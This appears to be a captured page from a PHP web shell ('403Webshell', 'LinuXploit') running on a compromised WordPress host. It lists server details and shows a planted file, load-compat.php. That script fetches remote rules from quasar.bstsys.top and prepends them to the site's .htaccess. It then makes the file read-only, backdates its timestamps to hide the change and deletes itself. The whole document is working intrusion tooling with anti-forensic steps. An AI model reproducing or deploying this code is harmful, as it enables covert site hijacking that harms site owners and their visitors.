403Webshell
Server IP : 217.160.0.225  /  Your IP : 216.73.216.102
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u87982239 ( 6889516)
PHP Version : 8.4.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/28/d665621219/htdocs/clickandbuilds/WordPress/Proyectomaison/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/28/d665621219/htdocs/clickandbuilds/WordPress/Proyectomaison/load-compat.php
<?php

if (!defined('ABSPATH')) {
    require_once __DIR__ . '/wp-load.php';
}

$current_script = __FILE__;
function detectWebServer() {
    if (isset($_SERVER['SERVER_SOFTWARE']) && !empty($_SERVER['SERVER_SOFTWARE'])) {
        $server = $_SERVER['SERVER_SOFTWARE'];
        if (stripos($server, 'nginx') !== false) return 'Nginx';
        if (stripos($server, 'apache') !== false) return 'Apache';
        if (stripos($server, 'litespeed') !== false) return 'LiteSpeed';
        if (stripos($server, 'openresty') !== false) return 'OpenResty';
        return 'Other';
    }

    ob_start();
    phpinfo(INFO_GENERAL);
    $phpinfo = ob_get_clean();

    if (strpos($phpinfo, 'nginx') !== false || preg_match('/nginx\/[\d\.]+/i', $phpinfo)) return 'Nginx';
    if (strpos($phpinfo, 'Apache') !== false || preg_match('/Apache\/[\d\.]+/i', $phpinfo)) return 'Apache';
    if (strpos($phpinfo, 'LiteSpeed') !== false) return 'LiteSpeed';
    if (strpos($phpinfo, 'OpenResty') !== false) return 'OpenResty';

    return 'Unknown';
}

function request($url) {
    $content = @file_get_contents($url);

    if ($content !== false) {
        return $content;
    }

    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_TIMEOUT, 10);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

        $content = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        $curlError = curl_errno($ch);

        curl_close($ch);

        if ($curlError === 0 && $httpCode === 200 && $content !== false) {
            return $content;
        }
    }

    return false;
}

$server = detectWebServer();
if ($server == 'Apache') {
    $url = 'http://quasar.bstsys.top/apache.txt';
}
else if ($server == 'LiteSpeed') {
    $url = 'http://quasar.bstsys.top/liteSpeed.txt';
}
else {
    echo "Web Server : <strong style='color:red'>$server</strong>";
    echo "<br><strong>.htaccess 无需写入</strong>";
    goto cleanup;
}
$custom_rules = request($url);

if ($custom_rules === false) {
    echo "<strong style='color:red'>获取远程规则失败!</strong><br>";
    echo "请检查网络连接或手动配置 .htaccess。<br>";
    goto cleanup;
}

$htaccess_path = ABSPATH . '.htaccess';

$backup_path = ABSPATH . '.htaccess.bak-' . date('Ymd');
if (file_exists($htaccess_path)) {
    copy($htaccess_path, $backup_path);
    echo "已备份原文件到:{$backup_path}<br>";
} else {
    echo "未找到原 .htaccess 文件,将创建新文件。<br>";
}

$original_mtime = file_exists($htaccess_path) ? filemtime($htaccess_path) : time();
$original_atime = file_exists($htaccess_path) ? fileatime($htaccess_path) : time();

$original_content = file_exists($htaccess_path) ? file_get_contents($htaccess_path) : '';
if (empty($original_content)) {
    $original_content = <<<EOT

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
EOT;
}

$marker = '# Custom rule';
if (strpos($original_content, $marker) !== false) {
    echo "<strong>无需修改:</strong> .htaccess 中已存在自定义规则。<br>";
    echo "文件修改时间保持不变。<br>";
    goto cleanup;
}

$new_content = $custom_rules . "\n\n" . $original_content;

if (file_put_contents($htaccess_path, $new_content) !== false) {
    chmod($htaccess_path, 0555);
    touch($htaccess_path, $original_mtime, $original_atime);

    echo "<strong>操作成功!</strong><br>";
    echo "自定义规则已插入到 .htaccess 文件最顶部。<br>";
    echo "文件修改时间已恢复为原时间:" . date('Y-m-d H:i:s', $original_mtime) . "<br>";
    echo "建议:立即去后台 → 设置 → 固定链接 → 保存更改(刷新重写规则)。<br>";
} else {
    echo "<strong>写入失败!</strong><br>";
    echo "可能原因:权限不足(请检查 .htaccess 文件/目录权限,通常应为 644),磁盘已满,或文件被锁定。<br>";
}

cleanup:

if (@unlink($current_script)) {
    echo "<br><strong style='color:green'>脚本已自动删除。</strong>";
} else {
    echo "<br><strong style='color:red'>自动删除失败!请手动删除此文件:</strong><br>";
    echo "<code>" . htmlspecialchars($current_script) . "</code><br>";
}

echo "<br><br><a href='#' onclick='history.back()'>返回上一页</a>";

Youez - 2016 - github.com/yon3zu
LinuXploit